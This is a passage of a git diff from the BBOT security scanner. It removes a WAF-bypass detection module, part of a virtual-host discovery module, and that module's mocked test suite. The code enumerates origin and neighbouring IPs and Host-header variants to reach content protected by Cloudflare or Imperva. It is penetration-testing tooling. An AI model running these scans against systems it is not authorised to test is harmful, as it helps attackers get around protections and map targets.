self.config.get("force_basehost") - else: - basehost, subdomain = self._get_basehost(event) - - # Get fresh canary and original response for this host - is_https = host_parsed_url.scheme == "https" - host_ip = next(iter(event.resolved_hosts)) - - self.verbose(f"FINISH METHOD: Starting wildcard check for {host}") - baseline_response = await self._get_baseline_response(event, host, host_ip) - if not await self._wildcard_canary_check( - host_parsed_url.scheme, host_parsed_url.netloc, event, host_ip, baseline_response - ): - self.debug( - f"WILDCARD CHECK FAILED in finish: Skipping {host} in wordcloud phase - failed virtual host wildcard check" - ) - self.wordcloud_tried_hosts.add(host) # Mark as tried to avoid retrying - continue - else: - self.debug(f"WILDCARD CHECK PASSED in finish: Proceeding with wordcloud mutations for {host}") - - await self._run_virtualhost_phase( - "Target host wordcloud mutations", - host, - basehost, - host_ip, - is_https, - event, - "subdomain", - wordlist=tempfile, - ) - self.wordcloud_tried_hosts.add(host) - - async def filter_event(self, event): - if ( - "cdn-cloudflare" in event.tags - or "cdn-imperva" in event.tags - or "cdn-akamai" in event.tags - or "cdn-cloudfront" in event.tags - ): - self.debug(f"Not processing URL {event.data} because it's behind a WAF or CDN, and that's pointless") - return False - return True diff --git a/bbot/modules/waf_bypass.py b/bbot/modules/waf_bypass.py deleted file mode 100644 index dc7fe38151..0000000000 --- a/bbot/modules/waf_bypass.py +++ /dev/null @@ -1,304 +0,0 @@ -from radixtarget.tree.ip import IPRadixTree -from bbot.modules.base import BaseModule -from bbot.core.helpers.simhash import compute_simhash - - -class waf_bypass(BaseModule): - """ - Module to detect WAF bypasses by finding direct IP access to WAF-protected content. - - Overview: - Throughout the scan, we collect: - 1. WAF-protected domains (identified by CloudFlare/Imperva tags) and their SimHash content fingerprints - 2. All domain->IP mappings from DNS resolution of URL events - 3. Cloud IPs separately tracked via "cloud-ip" tags - - In finish(), we test if WAF-protected content can be accessed directly via IPs from non-protected domains. - Optionally, it explores IP neighbors within the same ASN to find additional bypass candidates. - """ - - watched_events = ["URL"] - produced_events = ["VULNERABILITY"] - options = { - "similarity_threshold": 0.90, - "search_ip_neighbors": True, - "neighbor_cidr": 24, # subnet size to explore when gathering neighbor IPs - } - - options_desc = { - "similarity_threshold": "Similarity threshold for content matching", - "search_ip_neighbors": "Also check IP neighbors of the target domain", - "neighbor_cidr": "CIDR mask (24-31) used for neighbor enumeration when search_ip_neighbors is true", - } - flags = ["active", "safe", "web-thorough"] - meta = { - "description": "Detects potential WAF bypasses", - "author": "@liquidsec", - "created_date": "2025-09-26", - } - - async def setup(self): - # Track protected domains and their potential bypass CIDRs - self.protected_domains = {} # {domain: event} - track protected domains and store their parent events - self.domain_ip_map = {} # {full_domain: set(ips)} - track all IPs for each domain - self.content_fingerprints = {} # {url: {simhash, http_code}} - track the content fingerprints for each URL - self.similarity_threshold = self.config.get("similarity_threshold", 0.90) - self.search_ip_neighbors = self.config.get("search_ip_neighbors", True) - self.neighbor_cidr = int(self.config.get("neighbor_cidr", 24)) - - if self.search_ip_neighbors and not (24 <= self.neighbor_cidr <= 31): - self.warning(f"Invalid neighbor_cidr {self.neighbor_cidr}. Must be between 24 and 31.") - return False - # Keep track of (protected_domain, ip) pairs we have already attempted to bypass - self.attempted_bypass_pairs = set() - # Keep track of any IPs that came from hosts that are "cloud-ips" - self.cloud_ips = set() - return True - - async def filter_event(self, event): - if "endpoint" in event.tags: - return False, "WAF bypass module only considers directory URLs" - return True - - async def handle_event(self, event): - domain = str(event.host) - url = str(event.data) - - # Store the IPs that each domain (that came from a URL event) resolves to. We have to resolve ourself, since normal BBOT DNS resolution doesn't keep ALL the IPs - domain_dns_response = await self.helpers.dns.resolve(domain) - if domain_dns_response: - if domain not in self.domain_ip_map: - self.domain_ip_map[domain] = set() - for ip in domain_dns_response: - ip_str = str(ip) - # Validate that this is actually an IP address before storing - if self.helpers.is_ip(ip_str): - self.domain_ip_map[domain].add(ip_str) - self.debug(f"Mapped domain {domain} to IP {ip_str}") - if "cloud-ip" in event.tags: - self.cloud_ips.add(ip_str) - self.debug(f"Added cloud-ip {ip_str} to cloud_ips") - else: - self.warning(f"DNS resolution for {domain} returned non-IP result: {ip_str}") - else: - self.warning(f"DNS resolution failed for {domain}") - - # Detect WAF/CDN protection based on tags - provider_name = None - if "cdn-cloudflare" in event.tags or "waf-cloudflare" in event.tags: - provider_name = "CloudFlare" - elif "cdn-imperva" in event.tags: - provider_name = "Imperva" - - is_protected = provider_name is not None - - if is_protected: - self.debug(f"{provider_name} protection detected via tags: {event.tags}") - # Save the full domain and event for WAF-protected URLs, this is necessary to find the appropriate parent event later in .finish() - self.protected_domains[domain] = event - self.debug(f"Found {provider_name}-protected domain: {domain}") - - curl_response = await self.get_url_content(url) - if not curl_response: - self.debug(f"Failed to get response from protected URL {url}") - return - - if not curl_response["response_data"]: - self.debug(f"Failed to get content from protected URL {url}") - return - - # Store a "simhash" (fuzzy hash) of the response data for later comparison - simhash = await self.helpers.run_in_executor_mp(compute_simhash, curl_response["response_data"]) - - self.content_fingerprints[url] = { - "simhash": simhash, - "http_code": curl_response["http_code"], - } - self.debug( - f"Stored simhash of response from {url} (content length: {len(curl_response['response_data'])})" - ) - - async def get_url_content(self, url, ip=None): - """Helper function to fetch content from a URL, optionally through specific IP""" - try: - if ip: - # Build resolve dict for curl helper - host_tuple = self.helpers.extract_host(url) - if not host_tuple[0]: - self.warning(f"Failed to extract host from URL: {url}") - return None - host = host_tuple[0] - - # Determine port from scheme (default 443/80) or explicit port in URL - try: - from urllib.parse import urlparse - - parsed = urlparse(url) - port = parsed.port or (443 if parsed.scheme == "https" else 80) - except Exception: - port = 443 # safe default for https - - self.debug(f"Fetching via curl with --resolve {host}:{port}:{ip} for {url}") - - curl_response = await self.helpers.web.curl( - url=url, - resolve={"host": host, "port": port, "ip": ip}, - ) - - if curl_response: - return curl_response - else: - self.debug(f"curl returned no content for {url} via IP {ip}") - else: - response = await self.helpers.web.curl(url=url) - if not response: - self.debug(f"No response received from {url}") - return None - elif response.get("http_code", 0) in [200, 301, 302, 500]: - return response - else: - self.debug( - f"Failed to fetch content from {url} - Status: {response.get('http_code', 'unknown')} (not in allowed list)" - ) - return None - except Exception as e: - self.debug(f"Error fetching content from {url}: {str(e)}") - return None - - async def check_ip(self, ip, source_domain, protected_domain, source_event): - matching_url = next((url for url in self.content_fingerprints.keys() if protected_domain in url), None) - - if not matching_url: - self.debug(f"No matching URL found for {protected_domain} in stored fingerprints") - return None - - original_response = self.content_fingerprints.get(matching_url) - if not original_response: - self.debug(f"did not get original response for {matching_url}") - return None - - self.verbose(f"Bypass attempt: {protected_domain} via {ip} from {source_domain}") - - bypass_response = await self.get_url_content(matching_url, ip) - bypass_simhash = await self.helpers.run_in_executor_mp(compute_simhash, bypass_response["response_data"]) - if not bypass_response: - self.debug(f"Failed to get content through IP {ip} for URL {matching_url}") - return None - - if original_response["http_code"] != bypass_response["http_code"]: - self.debug(f"Ignoring code difference {original_response['http_code']} != {bypass_response['http_code']}") - return None - - is_redirect = False - if bypass_response["http_code"] == 301 or bypass_response["http_code"] == 302: - is_redirect = True - - similarity = self.helpers.simhash.similarity(original_response["simhash"], bypass_simhash) - - # For redirects, require exact match (1.0), otherwise use configured threshold - required_threshold = 1.0 if is_redirect else self.similarity_threshold - return (matching_url, ip, similarity, source_event) if similarity >= required_threshold else None - - async def finish(self): - self.verbose(f"Found {len(self.protected_domains)} Protected Domains") - - confirmed_bypasses = [] # [(protected_url, matching_ip, similarity)] - ip_bypass_candidates = {} # {ip: domain} - waf_ips = set() - - # First collect all the WAF-protected DOMAINS we've seen - for protected_domain in self.protected_domains: - if protected_domain in self.domain_ip_map: - waf_ips.update(self.domain_ip_map[protected_domain]) - - # Then collect all the non-WAF-protected IPs we've seen - for domain, ips in self.domain_ip_map.items(): - self.debug(f"Checking IP {ips} from domain {domain}") - if domain not in self.protected_domains: # If it's not a protected domain - for ip in ips: - # Validate that this is actually an IP address before processing - if not self.helpers.is_ip(ip): - self.warning(f"Skipping non-IP address '{ip}' found in domain_ip_map for {domain}") - continue - - if ip not in waf_ips: # And IP isn't a known WAF IP - ip_bypass_candidates[ip] = domain - self.debug(f"Added potential bypass IP {ip} from domain {domain}") - - # if we have IP neighbors searching enabled, and the IP isn't a cloud IP, we can add the IP neighbors to our list of potential bypasses - if self.search_ip_neighbors and ip not in self.cloud_ips: - import ipaddress - - # Get the ASN data for the IP - used later to keep brute force from crossing ASN boundaries - asn_data = await self.helpers.asn.ip_to_subnets(str(ip)) - if asn_data: - # Build a radix tree of the ASN subnets for the IP - asn_subnets_tree = IPRadixTree() - for subnet in asn_data["subnets"]: - asn_subnets_tree.insert(subnet, data=True) - - # Generate a network based on the neighbor_cidr option - neighbor_net = ipaddress.ip_network(f"{ip}/{self.neighbor_cidr}", strict=False) - for neighbor_ip in neighbor_net.hosts(): - neighbor_ip_str = str(neighbor_ip) - # Don't add the neighbor IP if its: ip we started with, a waf ip, or already in the list - if ( - neighbor_ip_str == ip - or neighbor_ip_str in waf_ips - or neighbor_ip_str in ip_bypass_candidates - ): - continue - - # make sure we aren't crossing an ASN boundary with our neighbor exploration - if asn_subnets_tree.get_node(neighbor_ip_str): - self.debug( - f"Added Neighbor IP ({ip} -> {neighbor_ip_str}) as potential bypass IP derived from {domain}" - ) - ip_bypass_candidates[neighbor_ip_str] = domain - else: - self.debug(f"IP {ip} is in WAF IPS so we don't check as potential bypass") - - self.verbose(f"\nFound {len(ip_bypass_candidates)} non-WAF IPs to check") - - coros = [] - new_pairs_count = 0 - - for protected_domain, source_event in self.protected_domains.items(): - for ip, src in ip_bypass_candidates.items(): - combo = (protected_domain, ip) - if combo in self.attempted_bypass_pairs: - continue - self.attempted_bypass_pairs.add(combo) - new_pairs_count += 1 - self.debug(f"Checking {ip} for {protected_domain} from {src}") - coros.append(self.check_ip(ip, src, protected_domain, source_event)) - - self.verbose( - f"Checking {new_pairs_count} new bypass pairs (total attempted: {len(self.attempted_bypass_pairs)})..." - ) - - self.debug(f"about to start {len(coros)} coroutines") - async for completed in self.helpers.as_completed(coros): - result = await completed - if result: - confirmed_bypasses.append(result) - - if confirmed_bypasses: - # Aggregate by URL and similarity - agg = {} - for matching_url, ip, similarity, src_evt in confirmed_bypasses: - rec = agg.setdefault((matching_url, similarity), {"ips": [], "event": src_evt}) - rec["ips"].append(ip) - - for (matching_url, sim_key), data in agg.items(): - ip_list = data["ips"] - ip_list_str = ", ".join(sorted(set(ip_list))) - await self.emit_event( - { - "severity": "MEDIUM", - "url": matching_url, - "description": f"WAF Bypass Confirmed - Direct IPs: {ip_list_str} for {matching_url}. Similarity {sim_key:.2%}", - }, - "VULNERABILITY", - data["event"], - ) diff --git a/bbot/test/test_step_2/module_tests/test_module_virtualhost.py b/bbot/test/test_step_2/module_tests/test_module_virtualhost.py deleted file mode 100644 index 55ac0f4b2a..0000000000 --- a/bbot/test/test_step_2/module_tests/test_module_virtualhost.py +++ /dev/null @@ -1,892 +0,0 @@ -from .base import ModuleTestBase, tempwordlist -import re -from werkzeug.wrappers import Response - - -class VirtualhostTestBase(ModuleTestBase): - """Base class for virtualhost tests with common setup""" - - async def setup_before_prep(self, module_test): - # Fix randomness for predictable canary generation - module_test.monkeypatch.setattr("random.seed", lambda x: None) - import string - - def predictable_choice(seq): - return seq[0] if seq == string.ascii_lowercase else seq[0] - - module_test.monkeypatch.setattr("random.choice", predictable_choice) - - async def setup_after_prep(self, module_test): - expect_args = re.compile("/") - module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) - - -class TestVirtualhostSpecialHosts(VirtualhostTestBase): - """Test special hosts detection""" - - targets = ["http://localhost:8888"] - modules_overrides = ["httpx", "virtualhost"] - config_overrides = { - "modules": { - "virtualhost": { - "subdomain_brute": False, # Focus on special hosts only - "mutation_check": False, # Focus on special hosts only - "special_hosts": True, # Enable special hosts - "certificate_sans": False, - "wordcloud_check": False, - "require_inaccessible": False, - } - } - } - - async def setup_after_prep(self, module_test): - # Keep request handler-based HTTP server - await super().setup_after_prep(module_test) - - # Emit URL event manually and ensure resolved_hosts - from bbot.modules.base import BaseModule - - class DummyModule(BaseModule): - _name = "dummy_module_special" - watched_events = ["SCAN"] - - async def handle_event(self, event): - if event.type == "SCAN": - url_event = self.scan.make_event( - "http://localhost:8888/", - "URL", - parent=event, - tags=["status-200", "ip-127.0.0.1"], - ) - await self.emit_event(url_event) - - module_test.scan.modules["dummy_module_special"] = DummyModule(module_test.scan) - - # Patch virtualhost to inject resolved_hosts - vh_module = module_test.scan.modules["virtualhost"] - orig_handle_event = vh_module.handle_event - - async def patched_handle_event(ev): - ev._resolved_hosts = {"127.0.0.1"} - return await orig_handle_event(ev) - - module_test.monkeypatch.setattr(vh_module, "handle_event", patched_handle_event) - - def request_handler(self, request): - host_header = request.headers.get("Host", "").lower() - - # Baseline request to localhost (with or without port) - if not host_header or host_header in ["localhost", "localhost:8888"]: - return Response("baseline response from localhost", status=200) - - # Wildcard canary check - if re.match(r"[a-z]ocalhost(?::8888)?$", host_header): - return Response("different wildcard response", status=404) - - # Random canary requests (12 lowercase letters .com) - if re.match(r"^[a-z]{12}\.com(?::8888)?$", host_header): - return Response( - """ -404 Not Found

Not Found

Random canary host.

""", - status=404, - ) - - # Special hosts responses - return different content than canary - if host_header == "host.docker.internal": - return Response("Docker internal host active", status=200) - if host_header == "127.0.0.1": - return Response("Loopback host active", status=200) - if host_header == "localhost": - return Response("Localhost virtual host active", status=200) - - # Default for any other requests - match canary content to avoid false positives - return Response( - """ -404 Not Found

Not Found

Random canary host.

""", - status=404, - ) - - def check(self, module_test, events): - special_hosts_found = set() - for e in events: - if e.type == "VIRTUAL_HOST": - vhost = e.data["virtual_host"] - if vhost in ["host.docker.internal", "127.0.0.1", "localhost"]: - special_hosts_found.add(vhost) - - # Test description elements to ensure they are as expected - description = e.data["description"] - assert ( - "Discovery Technique: [Special virtual host list" in description - or "Discovery Technique: [Mutations on discovered" in description - ), f"Description missing or unexpected discovery technique: {description}" - assert "Status Code:" in description, f"Description missing status code: {description}" - assert "Size:" in description and "bytes" in description, ( - f"Description missing size: {description}" - ) - assert "IP: 127.0.0.1" in description, f"Description missing IP: {description}" - assert "Access:" in description, f"Description missing access status: {description}" - - assert len(special_hosts_found) >= 1, f"Failed to detect special virtual hosts. Found: {special_hosts_found}" - - -class TestVirtualhostBruteForce(VirtualhostTestBase): - """Test subdomain brute-force detection using HTTP Host headers""" - - targets = ["http://test.example:8888"] - modules_overrides = ["virtualhost"] # Remove httpx, we'll manually create URL events - test_wordlist = ["admin", "api", "test"] - config_overrides = { - "modules": { - "virtualhost": { - "brute_wordlist": tempwordlist(test_wordlist), - "subdomain_brute": True, # Enable brute force - "mutation_check": False, # Focus on brute force only - "special_hosts": False, # Focus on brute force only - "certificate_sans": False, - "wordcloud_check": False, - "require_inaccessible": False, - } - } - } - - async def setup_after_prep(self, module_test): - # Call parent setup_after_prep to set up the HTTP server with request_handler - await super().setup_after_prep(module_test) - - # Set up DNS mocking for test.example to resolve to 127.0.0.1 - await module_test.mock_dns({"test.example": {"A": ["127.0.0.1"]}}) - - # Create a dummy module that will emit the URL event during the scan - from bbot.modules.base import BaseModule - - class DummyModule(BaseModule): - _name = "dummy_module" - watched_events = ["SCAN"] - - async def handle_event(self, event): - if event.type == "SCAN": - # Create and emit URL event for virtualhost module to process - url_event = self.scan.make_event( - "http://test.example:8888/", "URL", parent=event, tags=["status-200", "ip-127.0.0.1"] - ) - await self.emit_event(url_event) - - # Add the dummy module to the scan - dummy_module = DummyModule(module_test.scan) - module_test.scan.modules["dummy_module"] = dummy_module - - # Patch virtualhost to inject resolved_hosts for URL events during the test - vh_module = module_test.scan.modules["virtualhost"] - orig_handle_event = vh_module.handle_event - - async def patched_handle_event(ev): - ev._resolved_hosts = {"127.0.0.1"} - return await orig_handle_event(ev) - - module_test.monkeypatch.setattr(vh_module, "handle_event", patched_handle_event) - - def request_handler(self, request): - from werkzeug.wrappers import Response - - host_header = request.headers.get("Host", "").lower() - - # Baseline request to test.example or example (with or without port) - if not host_header or host_header in ["test.example", "test.example:8888", "example", "example:8888"]: - return Response("baseline response from example baseline", status=200) - - # Wildcard canary check - change one character in test.example - if re.match(r"[a-z]est\.example", host_header): - return Response("wildcard canary different response", status=404) - - # Brute-force canary requests - random string + .test.example (with optional port) - if re.match(r"^[a-z]{12}\.test\.example(?::8888)?$", host_header): - return Response("subdomain canary response", status=404) - - # Brute-force matches on discovered basehost (admin|api|test).test.example (with optional port) - if host_header in ["admin.test.example", "admin.test.example:8888"]: - return Response("Admin panel found here!", status=200) - if host_header in ["api.test.example", "api.test.example:8888"]: - return Response("API endpoint found here!", status=200) - if host_header in ["test.test.example", "test.test.example:8888"]: - return Response("Test environment found here!", status=200) - - # Default response - return Response("default response", status=404) - - def check(self, module_test, events): - brute_hosts_found = set() - for e in events: - if e.type == "VIRTUAL_HOST": - vhost = e.data["virtual_host"] - if vhost in ["admin.test.example", "api.test.example", "test.test.example"]: - brute_hosts_found.add(vhost) - - assert len(brute_hosts_found) >= 1, f"Failed to detect brute-force virtual hosts. Found: {brute_hosts_found}" - - -class TestVirtualhostMutations(VirtualhostTestBase): - """Test host mutation detection using HTTP Host headers""" - - targets = ["http://subdomain.target.test:8888"] - modules_overrides = ["httpx", "virtualhost"] - config_overrides = { - "modules": { - "virtualhost": { - "subdomain_brute": False, # Focus on mutations only - "mutation_check": True, # Enable mutations - "special_hosts": False, # Focus on mutations only - "certificate_sans": False, - "wordcloud_check": False, - "require_inaccessible": False, - } - } - } - - async def setup_before_prep(self, module_test): - # Call parent setup first - await super().setup_before_prep(module_test) - - # Mock wordcloud.mutations to return predictable results for "target" - def mock_mutations(self, word, **kwargs): - # Return realistic mutations that would be found for "target" - return [ - [word, "dev"], # targetdev, target-dev - ["dev", word], # devtarget, dev-target - [word, "test"], # targettest, target-test - ] - - module_test.monkeypatch.setattr("bbot.core.helpers.wordcloud.WordCloud.mutations", mock_mutations) - - async def setup_after_prep(self, module_test): - # Keep request handler-based HTTP server - await super().setup_after_prep(module_test) - - # Set up DNS mocking for target.test - await module_test.mock_dns({"target.test": {"A": ["127.0.0.1"]}}) - - # Emit URL event manually and ensure resolved_hosts - from bbot.modules.base import BaseModule - - class DummyModule(BaseModule): - _name = "dummy_module_mut" - watched_events = ["SCAN"] - - async def handle_event(self, event): - if event.type == "SCAN": - url_event = self.scan.make_event( - "http://subdomain.target.test:8888/", - "URL", - parent=event, - tags=["status-200", "ip-127.0.0.1"], - ) - await self.emit_event(url_event) - - module_test.scan.modules["dummy_module_mut"] = DummyModule(module_test.scan) - - # Patch virtualhost to inject resolved hosts - vh_module = module_test.scan.modules["virtualhost"] - orig_handle_event = vh_module.handle_event - - async def patched_handle_event(ev): - ev._resolved_hosts = {"127.0.0.1"} - return await orig_handle_event(ev) - - module_test.monkeypatch.setattr(vh_module, "handle_event", patched_handle_event) - - def request_handler(self, request): - host_header = request.headers.get("Host", "").lower() - - # Baseline request to target.test (with or without port) - if not host_header or host_header in ["subdomain.target.test", "subdomain.target.test:8888"]: - return Response("baseline response from target.test", status=200) - - # Wildcard canary check - if re.match(r"[a-z]subdomain\.target\.test(?::8888)?$", host_header): # Modified target.test - return Response("wildcard canary response", status=404) - - # Mutation canary requests (4 chars + dash + original host) - if re.match(r"^[a-z]{4}-subdomain\.target\.test(?::8888)?$", host_header): - return Response("Mutation Canary", status=404) - - # Word cloud mutation matches - return different content than canary - if host_header == "subdomain-dev.target.test": - return Response("Dev target 1 found!", status=200) - if host_header == "devsubdomain.target.test": - return Response("Dev target 2 found!", status=200) - if host_header == "subdomaintest.target.test": - return Response("Test target found!", status=200) - - # Default response - return Response( - """\n404 Not Found

Not Found

Default handler response.

""", - status=404, - ) - - def check(self, module_test, events): - mutation_hosts_found = set() - for e in events: - if e.type == "VIRTUAL_HOST": - vhost = e.data["virtual_host"] - # Look for mutation patterns with dev/test - if any(word in vhost for word in ["dev", "test"]) and "target" in vhost: - mutation_hosts_found.add(vhost) - - assert len(mutation_hosts_found) >= 1, ( - f"Failed to detect mutation virtual hosts. Found: {mutation_hosts_found}" - ) - - -class TestVirtualhostWordcloud(VirtualhostTestBase): - """Test finish() wordcloud-based detection using HTTP Host headers""" - - targets = ["http://wordcloud.test:8888"] - modules_overrides = ["httpx", "virtualhost"] - config_overrides = { - "modules": { - "virtualhost": { - "subdomain_brute": False, # Focus on wordcloud only - "mutation_check": False, # Focus on wordcloud only - "special_hosts": False, # Focus on wordcloud only - "certificate_sans": False, - "wordcloud_check": True, # Enable wordcloud - "require_inaccessible": False, - } - } - } - - async def setup_after_prep(self, module_test): - # Keep request handler-based HTTP server - await super().setup_after_prep(module_test) - - # Set up DNS mocking for wordcloud.test - await module_test.mock_dns({"wordcloud.test": {"A": ["127.0.0.1"]}}) - - # Mock wordcloud to have some common words - def mock_wordcloud_keys(self): - return ["staging", "prod", "dev", "admin", "api"] - - module_test.monkeypatch.setattr("bbot.core.helpers.wordcloud.WordCloud.keys", mock_wordcloud_keys) - - # Emit URL event manually and ensure resolved_hosts - from bbot.modules.base import BaseModule - - class DummyModule(BaseModule): - _name = "dummy_module_wc" - watched_events = ["SCAN"] - - async def handle_event(self, event): - if event.type == "SCAN": - url_event = self.scan.make_event( - "http://wordcloud.test:8888/", - "URL", - parent=event, - tags=["status-200", "ip-127.0.0.1"], - ) - await self.emit_event(url_event) - - module_test.scan.modules["dummy_module_wc"] = DummyModule(module_test.scan) - - # Patch virtualhost to inject resolved hosts - vh_module = module_test.scan.modules["virtualhost"] - orig_handle_event = vh_module.handle_event - - async def patched_handle_event(ev): - ev._resolved_hosts = {"127.0.0.1"} - return await orig_handle_event(ev) - - module_test.monkeypatch.setattr(vh_module, "handle_event", patched_handle_event) - - def request_handler(self, request): - host_header = request.headers.get("Host", "").lower() - - # Baseline request to wordcloud.test (with or without port) - if not host_header or host_header in ["wordcloud.test", "wordcloud.test:8888"]: - return Response("baseline response from wordcloud.test", status=200) - - # Wildcard canary check - if re.match(r"[a-z]ordcloud\.test(?::8888)?$", host_header): # Modified wordcloud.test - return Response("wildcard canary response", status=404) - - # Random canary requests (12 chars + .com) - if re.match(r"^[a-z]{12}\.com(?::8888)?$", host_header): - return Response("random canary response", status=404) - - # Wordcloud-based matches - these are checked in finish() - if host_header in ["staging.wordcloud.test", "staging.wordcloud.test:8888"]: - return Response("Staging environment found!", status=200) - if host_header in ["prod.wordcloud.test", "prod.wordcloud.test:8888"]: - return Response("Production environment found!", status=200) - if host_header in ["dev.wordcloud.test", "dev.wordcloud.test:8888"]: - return Response("Development environment found!", status=200) - - # Default response - return Response("default response", status=404) - - def check(self, module_test, events): - wordcloud_hosts_found = set() - for e in events: - if e.type == "VIRTUAL_HOST": - vhost = e.data["virtual_host"] - if vhost in ["staging.wordcloud.test", "prod.wordcloud.test", "dev.wordcloud.test"]: - wordcloud_hosts_found.add(vhost) - - assert len(wordcloud_hosts_found) >= 1, ( - f"Failed to detect wordcloud virtual hosts. Found: {wordcloud_hosts_found}" - ) - - -class TestVirtualhostHTTPSLogic(ModuleTestBase): - """Unit tests for HTTPS/SNI-specific functions""" - - targets = ["http://localhost:8888"] # Minimal target for unit testing - modules_overrides = ["httpx", "virtualhost"] - - async def setup_before_prep(self, module_test): - pass # No special setup needed - - async def setup_after_prep(self, module_test): - pass # No HTTP mocking needed for unit tests - - def check(self, module_test, events): - # Get the virtualhost module instance for direct testing - virtualhost_module = None - for module in module_test.scan.modules.values(): - if hasattr(module, "special_virtualhost_list"): - virtualhost_module = module - break - - assert virtualhost_module is not None, "Could not find virtualhost module instance" - - # Test canary host generation for different modes - canary_subdomain = virtualhost_module._get_canary_random_host("test.example.com", ".example.com", "subdomain") - canary_mutation = virtualhost_module._get_canary_random_host("test.example.com", ".example.com", "mutation") - canary_random = virtualhost_module._get_canary_random_host("test.example.com", ".example.com", "random") - - # Verify canary patterns - assert canary_subdomain.endswith(".example.com"), ( - f"Subdomain canary doesn't end with basehost: {canary_subdomain}" - ) - assert "-test.example.com" in canary_mutation, ( - f"Mutation canary doesn't contain expected pattern: {canary_mutation}" - ) - assert canary_random.endswith(".com"), f"Random canary doesn't end with .com: {canary_random}" - - # Test that all canaries are different - assert canary_subdomain != canary_mutation != canary_random, "Canaries should be different" - - -class TestVirtualhostForceBasehost(VirtualhostTestBase): - """Test force_basehost functionality specifically""" - - targets = ["http://127.0.0.1:8888"] # Use IP to require force_basehost - modules_overrides = ["httpx", "virtualhost"] - test_wordlist = ["admin", "api"] - config_overrides = { - "modules": { - "virtualhost": { - "brute_wordlist": tempwordlist(test_wordlist), - "force_basehost": "forced.domain", # Test force_basehost functionality - "subdomain_brute": True, - "mutation_check": False, - "special_hosts": False, - "certificate_sans": False, - "wordcloud_check": False, - "require_inaccessible": False, - } - } - } - - def request_handler(self, request): - host_header = request.headers.get("Host", "").lower() - - # Baseline request to the IP - if not host_header or host_header == "127.0.0.1:8888": - return Response("baseline response from IP", status=200) - - # Wildcard canary check - if re.match(r"[0-9]27\.0\.0\.1:8888", host_header): - return Response("wildcard canary response", status=404) - - # Subdomain canary (12 random chars + .forced.domain) - if re.match(r"[a-z]{12}\.forced\.domain", host_header): - return Response("forced domain canary response", status=404) - - # Virtual hosts using forced basehost - if host_header == "admin.forced.domain": - return Response("Admin with forced basehost found!", status=200) - if host_header == "api.forced.domain": - return Response("API with forced basehost found!", status=200) - - # Default response - return Response("default response", status=404) - - def check(self, module_test, events): - forced_hosts_found = set() - for e in events: - if e.type == "VIRTUAL_HOST": - vhost = e.data["virtual_host"] - if vhost in ["admin.forced.domain", "api.forced.domain"]: - forced_hosts_found.add(vhost) - - # Verify the description shows it used the forced basehost - description = e.data["description"] - assert "Subdomain Brute-force" in description, ( - f"Expected subdomain brute-force discovery: {description}" - ) - - assert len(forced_hosts_found) >= 1, ( - f"Failed to detect virtual hosts with force_basehost. Found: {forced_hosts_found}. " - f"Expected at least one of: admin.forced.domain, api.forced.domain" - ) - - -class TestVirtualhostInterestingDefaultContent(VirtualhostTestBase): - """Test reporting of interesting default canary content during wildcard check""" - - targets = ["http://interesting.test:8888"] - modules_overrides = ["httpx", "virtualhost"] - config_overrides = { - "modules": { - "virtualhost": { - "subdomain_brute": False, - "mutation_check": False, - "special_hosts": False, - "certificate_sans": False, - "wordcloud_check": False, - "report_interesting_default_content": True, - "require_inaccessible": False, - } - } - } - - async def setup_after_prep(self, module_test): - # Start HTTP server - await super().setup_after_prep(module_test) - - # Mock DNS resolution for interesting.test - await module_test.mock_dns({"interesting.test": {"A": ["127.0.0.1"]}}) - - # Dummy module to emit the URL event for the virtualhost module - from bbot.modules.base import BaseModule - - class DummyModule(BaseModule): - _name = "dummy_module_interesting" - watched_events = ["SCAN"] - - async def handle_event(self, event): - if event.type == "SCAN": - url_event = self.scan.make_event( - "http://interesting.test:8888/", - "URL", - parent=event, - tags=["status-404", "ip-127.0.0.1"], - ) - await self.emit_event(url_event) - - module_test.scan.modules["dummy_module_interesting"] = DummyModule(module_test.scan) - - # Patch virtualhost to inject resolved hosts - vh_module = module_test.scan.modules["virtualhost"] - orig_handle_event = vh_module.handle_event - - async def patched_handle_event(ev): - ev._resolved_hosts = {"127.0.0.1"} - return await orig_handle_event(ev) - - module_test.monkeypatch.setattr(vh_module, "handle_event", patched_handle_event) - - def request_handler(self, request): - host_header = request.headers.get("Host", "").lower() - - # Baseline response for original host (ensure status differs from canary) - if not host_header or host_header in ["interesting.test", "interesting.test:8888"]: - return Response("baseline not found", status=404) - - # Wildcard canary mutated hostname: change first alpha to 'z' -> znteresting.test - if host_header in ["znteresting.test", "znteresting.test:8888"]: - long_body = ( - "This is a sufficiently long default page body that exceeds forty characters " - "to trigger the interesting default content branch." - ) - return Response(long_body, status=200) - - # Default - return Response("default response", status=404) - - def check(self, module_test, events): - found_interesting = False - found_correct_host = False - for e in events: - if e.type == "VIRTUAL_HOST": - desc = e.data.get("description", "") - if "Interesting Default Content (from intentionally-incorrect canary host)" in desc: - found_interesting = True - # The VIRTUAL_HOST should be the canary hostname used in the wildcard request - if e.data.get("virtual_host") == "znteresting.test": - found_correct_host = True - break - - assert found_interesting, "Expected VIRTUAL_HOST from interesting default canary content was not emitted" - assert found_correct_host, "virtual_host should equal the canary hostname 'znteresting.test'" - - -class TestVirtualhostKeywordWildcard(VirtualhostTestBase): - """Test keyword-based wildcard detection using 'www' in hostname""" - - targets = ["http://acme.test:8888"] - modules_overrides = ["httpx", "virtualhost"] - config_overrides = { - "modules": { - "virtualhost": { - "subdomain_brute": True, - "mutation_check": False, - "special_hosts": False, - "certificate_sans": False, - "wordcloud_check": False, - "require_inaccessible": False, - # Keep brute_lines small and supply a tiny wordlist containing a 'www' entry and an exact match - } - } - } - - async def setup_after_prep(self, module_test): - # Start HTTP server with wildcard behavior for any hostname containing 'www' - await super().setup_after_prep(module_test) - - # Mock DNS resolution for acme.test - await module_test.mock_dns({"acme.test": {"A": ["127.0.0.1"]}}) - - # Provide a tiny custom wordlist containing 'wwwfoo' and 'admin' so that: - # - 'wwwfoo' would be a false positive without the keyword-based wildcard detection - # - 'admin' will be an exact match we deliberately allow via the response handler - from .base import tempwordlist - - words = ["wwwfoo", "admin"] - wl = tempwordlist(words) - - # Patch virtualhost to use our custom wordlist and inject resolved hosts - vh_module = module_test.scan.modules["virtualhost"] - original_setup = vh_module.setup - - async def patched_setup(): - await original_setup() - vh_module.brute_wordlist = wl - return True - - module_test.monkeypatch.setattr(vh_module, "setup", patched_setup) - - # Emit URL event manually and ensure resolved_hosts - from bbot.modules.base import BaseModule - - class DummyModule(BaseModule): - _name = "dummy_module_keyword" - watched_events = ["SCAN"] - - async def handle_event(self, event): - if event.type == "SCAN": - 